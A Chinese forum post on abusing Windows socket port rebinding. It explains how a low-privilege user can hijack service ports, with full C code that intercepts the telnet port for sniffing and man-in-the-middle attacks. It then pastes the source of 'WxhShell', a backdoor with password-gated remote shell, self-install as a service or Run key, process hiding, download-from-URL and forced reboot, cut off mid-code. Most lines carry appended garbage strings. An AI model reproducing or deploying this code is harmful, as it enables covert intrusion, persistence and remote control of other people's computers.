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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @)fd}tV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y'8?.a]'  
%44leINx  
  saddr.sin_family = AF_INET; >r !|sC  
=>_\fNy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oz,e/v8~  
1,% R;7J=g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XT4{Pe7{[P  
cLLbZ=`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MRdduPrM%$  
%^ !,t:d  
  这意味着什么?意味着可以进行如下的攻击: [k/@E+;  
5yP\I+Fm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <$IM8Y5p+w  
`Tv[DIVW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V6@o]*  
d'NIV9P`j]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /w}u3|L$  
LGw$v[wb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'F9jq  
x8V('`}j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9-fLz?J  
(2$p{Uf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |R/%D%_g  
oYm[V<nIl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [J?aD`{#O  
?fi,ifp*|l  
  #include W *),y:  
  #include w=T\3(%j  
  #include j~[z2tV  
  #include    %[ Z \S0C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CTq&-l:f  
  int main() z`f($t[  
  { {#?N  
  WORD wVersionRequested; PgF* 1  
  DWORD ret; !Fd~~v  
  WSADATA wsaData; RC7]'4o  
  BOOL val; .$+#1-  
  SOCKADDR_IN saddr; 5YeM%%-S  
  SOCKADDR_IN scaddr; 'h|DO/X~L  
  int err; 1W^t aJH]  
  SOCKET s; nxnv,AZG  
  SOCKET sc; =5~jx  
  int caddsize; $5aV:Z3P  
  HANDLE mt; \fz<.l]  
  DWORD tid;   v$?+MNks  
  wVersionRequested = MAKEWORD( 2, 2 ); jCOIuw  
  err = WSAStartup( wVersionRequested, &wsaData ); $P/~rZ@M@  
  if ( err != 0 ) { '7hu 2i5  
  printf("error!WSAStartup failed!\n"); !Qu"BF   
  return -1; 5\:^ y'g[  
  } %)zodf  
  saddr.sin_family = AF_INET; .WA-&b_  
   `ZYoA t]C~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5q3JI  
gY/"cq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G|!Tj X7s  
  saddr.sin_port = htons(23); /R]U}o^/(%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ayR-\mZ  
  { y" RF;KW>  
  printf("error!socket failed!\n"); !Xf5e*1IS  
  return -1; bnf'4PAt  
  } )~)J?l3 {  
  val = TRUE; LDgrR[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !/'t5~x[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \A 2r]  
  { *+Ek0M  
  printf("error!setsockopt failed!\n"); YxYH2*q@  
  return -1; LG{,c.Qj*  
  } N.,X<G.H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ns>- o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P+@/O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6Zm# bFQ  
36}?dRw#p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k:t ]s_`<  
  { lA| 5E?  
  ret=GetLastError(); Hq'`8f8N  
  printf("error!bind failed!\n"); [+2[`K c]  
  return -1; o[Q MTP  
  } [M]  
  listen(s,2); BTqS'NuT  
  while(1) }eCw6  
  { ;w{tv($$  
  caddsize = sizeof(scaddr); "jeb%k  
  //接受连接请求 `uv2H$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (9''MlGd%  
  if(sc!=INVALID_SOCKET) w1Nm&}V  
  { g1/:Q%R,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kj#?whK6~  
  if(mt==NULL) E:UW#S%A f  
  { %". HaI]  
  printf("Thread Creat Failed!\n"); YqhAZp<  
  break; s 1 A.+  
  } I5k$H$  
  } b z`+k,*  
  CloseHandle(mt); :KQ~Cb  
  } K[I=6  
  closesocket(s); u 1J0$  
  WSACleanup(); F+YZE[h%  
  return 0; RuL i,'u  
  }   ],@rS9K  
  DWORD WINAPI ClientThread(LPVOID lpParam) C)um9}  
  { NW~N}5T  
  SOCKET ss = (SOCKET)lpParam; TH%Qhv\]  
  SOCKET sc; @6Y?\Wx$w  
  unsigned char buf[4096]; wcrCEX=I>{  
  SOCKADDR_IN saddr; *RI]?j%B  
  long num; tqz3zIQ  
  DWORD val; C.WX.Je  
  DWORD ret; #3i3G(mQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FvaUsOy "  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H*d9l2,KZS  
  saddr.sin_family = AF_INET; x>**;#7)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F%@A6'c  
  saddr.sin_port = htons(23); hi_NOx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kYzIp  
  { ?h$NAL?  
  printf("error!socket failed!\n"); !y\'EW3|G  
  return -1; ]0Y4U7W  
  } cXA i k-  
  val = 100; Y>dF5&(kb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &C `Gg<  
  { p)KheLiZ  
  ret = GetLastError(); DwM)r7<Ex  
  return -1; n<Z({\9&H  
  } 4GkWRu1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p2hB8zL  
  { "|x^|n8i  
  ret = GetLastError(); `LrHKb aP  
  return -1; DBo%fYst  
  } MUaq7B_>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ${<%" hR$  
  { eQ$Y0qH1E  
  printf("error!socket connect failed!\n"); rlMLW  
  closesocket(sc); Lm iOhx  
  closesocket(ss); x) ,eI'mf  
  return -1; Xc =Y  
  } AiwOc+R  
  while(1) .eS<Dbku<  
  { T(#J_Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 piJu+tUy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aHV;N#Lx3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lS"T4 5  
  num = recv(ss,buf,4096,0); Lz |? ek7Q  
  if(num>0) C(eTR1  
  send(sc,buf,num,0); LGq'WU31:)  
  else if(num==0) ny]?I  
  break; f&=AA@jLv  
  num = recv(sc,buf,4096,0); WltQ63u  
  if(num>0) B~'vCuE  
  send(ss,buf,num,0); l3{-z4mw  
  else if(num==0) =T3 <gGM  
  break; dph{74Dc  
  } r7RIRg_  
  closesocket(ss); )\1QJ$-M&  
  closesocket(sc); /,BD#|  
  return 0 ; J-[,KME_^  
  } 6, ^>mNm  
7!e vm;A  
l^! ?@Kg,z  
========================================================== a]$1D!Anc  
^3G{|JB!+  
下边附上一个代码,,WXhSHELL pf]xqhL  
2% MC Yn  
========================================================== I )~GZ  
MOQ6 :  
#include "stdafx.h" 3#W T.4k  
N&.H|5  
#include <stdio.h> FDv<\2+ c  
#include <string.h> Fh)IgzFj  
#include <windows.h> i"1Mfz~e  
#include <winsock2.h> T tfo^ksw  
#include <winsvc.h> k)i3   
#include <urlmon.h> k 9_`(nx  
z$&{:\hj  
#pragma comment (lib, "Ws2_32.lib") ;/bewivNJ  
#pragma comment (lib, "urlmon.lib")  Z< 1  
mWv3!i;G<s  
#define MAX_USER   100 // 最大客户端连接数 R &n Pj~  
#define BUF_SOCK   200 // sock buffer \/93Dz  
#define KEY_BUFF   255 // 输入 buffer %7QV&[4!  
#?RU;1)Cw  
#define REBOOT     0   // 重启 "0$a)4]  
#define SHUTDOWN   1   // 关机 ru'F6?d  
`b?R#:G  
#define DEF_PORT   5000 // 监听端口 vXev$x=w-  
5v[*:0p'  
#define REG_LEN     16   // 注册表键长度 Oylf<&knF\  
#define SVC_LEN     80   // NT服务名长度 _aq 8@E~  
c\/=iVw,  
// 从dll定义API W}nlRbN?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w3N[9w?1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B=U 3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *}Xf!"I#]N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {5A2&  
pLl(iNf]  
// wxhshell配置信息 2"COP>  
struct WSCFG { B[qzUD*P_n  
  int ws_port;         // 监听端口 ]yV!  
  char ws_passstr[REG_LEN]; // 口令 D,FHZD t  
  int ws_autoins;       // 安装标记, 1=yes 0=no dLH(D: `  
  char ws_regname[REG_LEN]; // 注册表键名 V[mT<Lc  
  char ws_svcname[REG_LEN]; // 服务名 wDw[RW3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zlyS}x@p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $5 >e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8bxfj<O,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QemyCCP+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ;i4Q|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CMe 06^U   
CJtcn_.F  
}; P)"noG_'i  
>d@&2FTO  
// default Wxhshell configuration i|c'Lbre`  
struct WSCFG wscfg={DEF_PORT, ht|z<XJ  
    "xuhuanlingzhe", vp1941P  
    1, 02Y]`CXj  
    "Wxhshell", xP_cQwm`1  
    "Wxhshell", `K*Q5n  
            "WxhShell Service", w}L]X1#sF  
    "Wrsky Windows CmdShell Service", zy?.u.4L  
    "Please Input Your Password: ", RPwbTAl}  
  1, toLV4BtIG  
  "http://www.wrsky.com/wxhshell.exe", >f^r^P  
  "Wxhshell.exe" 5]~'_V  
    }; ,k.3|aZE  
_> f`!PlB|  
// 消息定义模块 !]42^?GH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?U%QG5/>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,NOsFO-`<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; imo$-}A  
char *msg_ws_ext="\n\rExit."; *lYVY) L  
char *msg_ws_end="\n\rQuit."; |rY1US)S  
char *msg_ws_boot="\n\rReboot..."; z-BXd  
char *msg_ws_poff="\n\rShutdown..."; ,%6P0#-  
char *msg_ws_down="\n\rSave to "; &]g}u5J!=  
:uP,f<=)K  
char *msg_ws_err="\n\rErr!"; 8G9s<N}5&u  
char *msg_ws_ok="\n\rOK!"; .RE:;<|w  
5:\},n+VE  
char ExeFile[MAX_PATH]; k@\ iGqo  
int nUser = 0; *7:>EP  
HANDLE handles[MAX_USER]; j@=%_^:i  
int OsIsNt; PZ2;v<  
UXeN8  
SERVICE_STATUS       serviceStatus; [\'%?BH(^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @u.58H& }R  
!4]T XH0f  
// 函数声明 cT<1V!L4  
int Install(void); +:8fC$vVfC  
int Uninstall(void); 56}U8X  
int DownloadFile(char *sURL, SOCKET wsh); WM Fb4SUR  
int Boot(int flag); g=39C>  
void HideProc(void); ccNd'2P  
int GetOsVer(void); _7<FOOM%8y  
int Wxhshell(SOCKET wsl); 7OC#8,  
void TalkWithClient(void *cs); u&1q [0y  
int CmdShell(SOCKET sock); >5_2_Y$"  
int StartFromService(void); #G .ulX  
int StartWxhshell(LPSTR lpCmdLine); s&A} h  
:a^t3s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F{Z~ R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : imW\@u  
! _f9NK  
// 数据结构和表定义 YbR!+ 0\g  
SERVICE_TABLE_ENTRY DispatchTable[] = RzxNbeki[W  
{ C+'/>=>a.  
{wscfg.ws_svcname, NTServiceMain}, $Oq^jUJ  
{NULL, NULL} Z&#('Z  
}; E;,u2[3  
Qr1"Tk7s  
// 自我安装 OPwtV9%  
int Install(void) 'U1R\86M  
{ 8?J&`e/  
  char svExeFile[MAX_PATH]; M}d_I+  
  HKEY key; 4y)P>c  
  strcpy(svExeFile,ExeFile); wr5AG<%(  
%4ePc-  
// 如果是win9x系统,修改注册表设为自启动 H!?c\7adX  
if(!OsIsNt) { 0":ib0=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nKS7Q1+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kv3E4,<9  
  RegCloseKey(key); e]`[yf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %oq{L]C(rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kw -gojZ  
  RegCloseKey(key); G]D+Sl4<7i  
  return 0; }#.L7SIJ<J  
    } *#E F sUw  
  } m4aB*6<lq  
} (mgS"zPS  
else { aAJU`=uq  
]or>?{4g  
// 如果是NT以上系统,安装为系统服务 }x@2]juJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {/"2Vk<H8  
if (schSCManager!=0) (}a8"]Z  
{ {kp"nl$<  
  SC_HANDLE schService = CreateService SNfr"2c'h~  
  ( ;-9=RI0  
  schSCManager, +,2:g}5  
  wscfg.ws_svcname, 'd.EC#  
  wscfg.ws_svcdisp, eb.O#Y  
  SERVICE_ALL_ACCESS, FB  _pw!z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !+1<E*NQ S  
  SERVICE_AUTO_START, >_e]C}QUr  
  SERVICE_ERROR_NORMAL, #z&& M"*a|  
  svExeFile, n1JRDw"e$$  
  NULL, U F?H>Y&  
  NULL, e}Cif2#d~  
  NULL, P\w\N2  
  NULL, k40* e\  
  NULL 7l'6gg  
  ); OZx W?wnd  
  if (schService!=0) 2Or'c`|  
  { Y<mej][  
  CloseServiceHandle(schService); 9^,Lc1"M>  
  CloseServiceHandle(schSCManager); (^@ra$.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d{XO/YQw  
  strcat(svExeFile,wscfg.ws_svcname); 33#0J$j7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XM1WfjE\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lp<g \  
  RegCloseKey(key); WOQP$D9  
  return 0; T^w36}a  
    } 'qjeXqGH$  
  } 5|l* `J)  
  CloseServiceHandle(schSCManager); $UgA0]q n  
} LNrX;{ Z  
} fJ/e(t  
j:k[90  
return 1; U'R)x";=  
} I2 j}Am  
7]9 a<  
// 自我卸载 Pdt6nzfr  
int Uninstall(void) 0}$Hi  
{ D$bIo "  
  HKEY key; twP,cyR  
o>/YAX:.!T  
if(!OsIsNt) { ANJ$'3tg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IkBei&4F`  
  RegDeleteValue(key,wscfg.ws_regname); 30XR 82P/  
  RegCloseKey(key); I 6<*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c.,2GwW  
  RegDeleteValue(key,wscfg.ws_regname); 3T"j)R_=l  
  RegCloseKey(key); {.QEc0-  
  return 0; P^w#S  
  } ;\lW5ZX  
} 1jN-4&  
} O>^C4c!  
else { y>72{  
| \'rP_I>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *Txl+zTY  
if (schSCManager!=0) qxFB%KqU  
{ 3=Cc.a/3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Au4yBm u  
  if (schService!=0) 2_zp:v  
  { `t_W2y   
  if(DeleteService(schService)!=0) { ^j" .  
  CloseServiceHandle(schService); 5]HS^II"  
  CloseServiceHandle(schSCManager); 6`v7c!7  
  return 0; 87=^J xy  
  } 7N:Y?Hi\  
  CloseServiceHandle(schService); dHK`eS$sb  
  } JMH8MH*  
  CloseServiceHandle(schSCManager); 6`]$qSTS  
} ai nG6Y<O`  
} vgUb{D  
\>C YC|  
return 1; Xlb0/T<g!  
} =0G!f$7^i  
9G+V;0Q  
// 从指定url下载文件 W Dg+J  
int DownloadFile(char *sURL, SOCKET wsh) \/1<E?Q f  
{ 'bo~%WA]n  
  HRESULT hr; d4nH_?  
char seps[]= "/"; Iz ;G*W18  
char *token; q|8{@EMT  
char *file; -5T=:2M  
char myURL[MAX_PATH]; )hk   
char myFILE[MAX_PATH]; i{ \%e  
G(~;]xNW+  
strcpy(myURL,sURL); L2, 1Kt7  
  token=strtok(myURL,seps); |7X:TfJ  
  while(token!=NULL) QF&W`c  
  { ]p;FZ4-T  
    file=token; f|R"u W +  
  token=strtok(NULL,seps);  b^p"|L  
  } mExVYp h  
oiX+l5`pz  
GetCurrentDirectory(MAX_PATH,myFILE); nzmDA6d  
strcat(myFILE, "\\"); R1& [S/  
strcat(myFILE, file); NMww>80  
  send(wsh,myFILE,strlen(myFILE),0); PJ2qfYsH=>  
send(wsh,"...",3,0); J,zO2572u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s%2v3eb  
  if(hr==S_OK) "R3d+p  
return 0; 6%fKuMpK(  
else vq!_^F<  
return 1; ed:@C?  
1}tbH[  
} *X4PM\ck  
r\blyWi  
// 系统电源模块 $2u 'N:o  
int Boot(int flag) (sQr X{~  
{ bzvh%RsW  
  HANDLE hToken; c7M%xGrP  
  TOKEN_PRIVILEGES tkp; >P/][MT  
:OW ;?{ ~j  
  if(OsIsNt) { <}sq?Sfq!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l2&`J_"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8P"_#M?!  
    tkp.PrivilegeCount = 1; MdXchO-Lyc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v$=QA:!U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XEdzpkB  
if(flag==REBOOT) { ixV0|P8,c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4[BG#  
  return 0; ?_ dIIQ  
} ua OKv.%  
else { zLF?P3^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q6XRsFc  
  return 0; o}<4*qlI  
} AQc,>{Lm  
  } Z( 9 u<  
  else { Nx-uQ^e*1  
if(flag==REBOOT) { fPR$kc h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wQ%mN[  
  return 0; /"?HZ% W  
} l$YC/ bP  
else { Q//,4>JKf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vBsP+K  
  return 0; &E M\CjKv"  
} 8kbY+W%n  
} *A~ G_0B  
Vf`7V$sr  
return 1; )NO<s0?&  
} T<I=%P)  
E( h<$w8s  
// win9x进程隐藏模块 |TE}`?y[g  
void HideProc(void) XUF\r]B,9  
{ *c)uGz'cD  
)~V4+*<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); suH&jE$x  
  if ( hKernel != NULL ) .^bft P\  
  { .@"q$\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sggq3l$Qc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tV9L D>3  
    FreeLibrary(hKernel); ,KJw|x4}\  
  } 5VO;s1  
#XnPsU<J  
return; fA=#Fzk2  
} zd_HxYrN  
Jjl%R[mI  
// 获取操作系统版本 }dxDt qb  
int GetOsVer(void) HK)cKzG[s!  
{ "Pl9nE  
  OSVERSIONINFO winfo; yIb,,!y9{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kF;5L)o  
  GetVersionEx(&winfo); W- $a Y2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >2 3-  
  return 1; WU4UZpz  
  else F/1#l@qN  
  return 0; .d?%;2*{q  
} 4Iq'/r  
+Ug/rtK4   
// 客户端句柄模块 81%8{yn!$"  
int Wxhshell(SOCKET wsl) @FN*TJ  
{ y[@\j9Hq  
  SOCKET wsh; qi^!GA'5j  
  struct sockaddr_in client; q4UA]+-*  
  DWORD myID; L0%hnA@  
`Y40w#?uW  
  while(nUser<MAX_USER) Lz DI0a.  
{ I =Wc&1g  
  int nSize=sizeof(client); g`k?AM\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q/I)V2a1i  
  if(wsh==INVALID_SOCKET) return 1; ._z 'g_c(  
"Dy'Kd%,%/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E^hHH?w+  
if(handles[nUser]==0) ^")F7`PF  
  closesocket(wsh); !}M,  
else 6O2=Ns;J6  
  nUser++; MYe HS   
  } 5~XN>>hp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ftk%EYT;  
~Z$bf>[(R7  
  return 0; uqyB5V0gh  
} K:y^OAZfV  
$!A:5jech  
// 关闭 socket 1on'^8]0  
void CloseIt(SOCKET wsh) jx_4B%kzq  
{ .wrL3z_  
closesocket(wsh); P ,eH5w"  
nUser--;  17g^ALs  
ExitThread(0); 1+y"i<3)  
} t>UkE9=3\  
%qsvtc`  
// 客户端请求句柄 RBGlzk  
void TalkWithClient(void *cs) ^a9 oKI9n  
{ X7*`  
j%Y\A~DV  
  SOCKET wsh=(SOCKET)cs; |f2A89  
  char pwd[SVC_LEN]; B`#h{)[  
  char cmd[KEY_BUFF];  ZC^C  
char chr[1]; }ublR&zlp  
int i,j; @=]8^?$t 0  
|E/L.gdP7  
  while (nUser < MAX_USER) { ^ DAa%u  
0WxCSL$#I  
if(wscfg.ws_passstr) { {GqXP0'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? S=W&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eQX`,9:5  
  //ZeroMemory(pwd,KEY_BUFF); >N`6;gn*l  
      i=0; eTE2J~\  
  while(i<SVC_LEN) { *8g<R  
0??Yr  
  // 设置超时 q{4|Kpx@  
  fd_set FdRead; %I4zQiJ%  
  struct timeval TimeOut; d}0qJoH4  
  FD_ZERO(&FdRead); 8LM #WIm?  
  FD_SET(wsh,&FdRead); sroGER .  
  TimeOut.tv_sec=8; h#f&|* Q5m  
  TimeOut.tv_usec=0; Bmr<O !  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 89eq[ |G_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DR+,Y2!_GT  
ML!9:vz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nTnRGf\T  
  pwd=chr[0]; \gKdD S  
  if(chr[0]==0xd || chr[0]==0xa) { B1T5f1;uY  
  pwd=0; D,W\ gP/h%  
  break; #+sF`qR,  
  } s^C;>  
  i++; nX x=1*X  
    } eO4)|tW  
/(6zsq'v|  
  // 如果是非法用户,关闭 socket d?Y-;-|8Qh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]if;A)'  
} ,?b78_,2  
[ #]jC[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); af>3V(7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yw"P)Zp  
C6k4g75U2  
while(1) { H @!#;w  
8 lS($@@{  
  ZeroMemory(cmd,KEY_BUFF); ^8742.  
Xem| o&  
      // 自动支持客户端 telnet标准   V/H@vKN2  
  j=0; ep?:;98|t  
  while(j<KEY_BUFF) { 8W{~wg`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BjD&> gO)  
  cmd[j]=chr[0]; {!K;`I[]v  
  if(chr[0]==0xa || chr[0]==0xd) { 5EhE`k4  
  cmd[j]=0; 6&],WGz  
  break; >(tO QeN  
  } i_Ar<9a~  
  j++; M.k|bh8  
    } ,P{ HE8.  
Y +qus  
  // 下载文件 FW^.m?}|  
  if(strstr(cmd,"http://")) { x(6vh2#vD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h6FgS9H  
  if(DownloadFile(cmd,wsh)) cdp{W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2?1}ZXr  
  else hT=f;6$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5&%fkZ0  
  } 2fBYT4*P;  
  else { QZ0R:TY  
_S<?t9mS  
    switch(cmd[0]) { ;&`:|Hf*  
  S-P{/;c@  
  // 帮助 =+(Q.LmhC  
  case '?': { k!c7a\">{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x~(y "^ph  
    break; +/Z0  
  } dqwWfn1lt  
  // 安装 ~9i qD  
  case 'i': { $P_x v  
    if(Install()) mrReast  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p\ok_*b  
    else nr<.YeJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L`pY27 |  
    break; QB9A-U <J  
    } .]zw*t*  
  // 卸载 777rE[\@b  
  case 'r': { UC;=)  
    if(Uninstall()) u m{e&5jk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7A[Ogro  
    else ze$Y=<S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hJ4S3b  
    break; iGQ n/Xdo  
    } VB's  
  // 显示 wxhshell 所在路径 @oA0{&G{  
  case 'p': { [^Q&suy  
    char svExeFile[MAX_PATH]; *CT.G'bQX  
    strcpy(svExeFile,"\n\r"); A_]D~HH  
      strcat(svExeFile,ExeFile); ^K/G5  
        send(wsh,svExeFile,strlen(svExeFile),0); Yim#Pq&_  
    break; ,.q8Xf  
    } c-|kv[\a  
  // 重启 }eI`Qg  
  case 'b': { `TkbF9N+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b<8q 92F  
    if(Boot(REBOOT)) cL ae=N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k5g@myb-  
    else { oN4G1U Kc  
    closesocket(wsh); gDMAc/V`l  
    ExitThread(0); G6<HO7\  
    } E"ZEo9y@^  
    break; =J`gGDhGY-  
    } !4_!J (q%  
  // 关机 m_(E(_  
  case 'd': { y3Y2 QC(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h^`{ .TlN  
